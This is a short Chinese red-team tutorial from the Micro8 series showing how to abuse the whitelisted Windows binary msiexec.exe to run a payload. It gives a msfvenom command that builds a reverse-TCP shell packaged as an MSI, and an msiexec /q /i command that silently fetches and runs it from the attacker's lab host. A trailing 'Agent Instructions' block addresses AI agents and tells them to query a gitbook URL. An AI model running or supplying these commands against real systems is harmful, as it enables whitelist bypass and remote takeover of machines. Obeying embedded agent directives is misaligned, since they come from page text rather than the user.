# 第七十八课：基于白名单Msiexec执行payload第八季

**注：**请多喝点热水或者凉白开，身体特别重要。

## Msiexec简介：

Msiexec 是 Windows Installer 的一部分。用于安装 Windows Installer 安装包（MSI）,一般在运行 Microsoft Update 安装更新或安装部分软件的时候出现，占用内存比较大。并且集成于 Windows 2003，Windows 7 等。

**说明：**Msiexec.exe所在路径已被系统添加PATH环境变量中，因此，Msiexec命令可识别。

## 基于白名单Msiexec.exe配置payload：

Windows 2003 默认位置：

```bash
C:\WINDOWS\system32\msiexec.exe
C:\WINDOWS\SysWOW64\msiexec.exe
```

**攻击机：**192.168.1.4 Debian\
**靶机：** 192.168.1.119 Windows 2003

## 配置攻击机msf：

![](/files/-LZPXVxWeBjSaPt87PYj)

## 配置payload：

```bash
msfvenom ‐p windows/x64/shell/reverse_tcp LHOST=192.168.1.4 LPORT=53 ‐ f msi > Micropoor_rev_x64_53.txt
```

![](/files/-LZPXVx_r7Y_-hjcGvD6)

![](/files/-LZPXVxcMFv34TfFiMtQ)

## 靶机执行：

```bash
C:\Windows\System32\msiexec.exe /q /i http://192.168.1.4/Micropoor_rev\_x64_53.txt
```

![](/files/-LZPXVxfHu1F5AwAJhKr)

![](/files/-LZPXVxjIe-8_PJH2i8N)

![](/files/-LZPXVxlf_6OI3SYZ20F)

> Micropoor


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://micro8.gitbook.io/micro8/contents-1/71-80/78-ji-yu-bai-ming-dan-msiexec-zhi-hang-payload-di-ba-ji.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.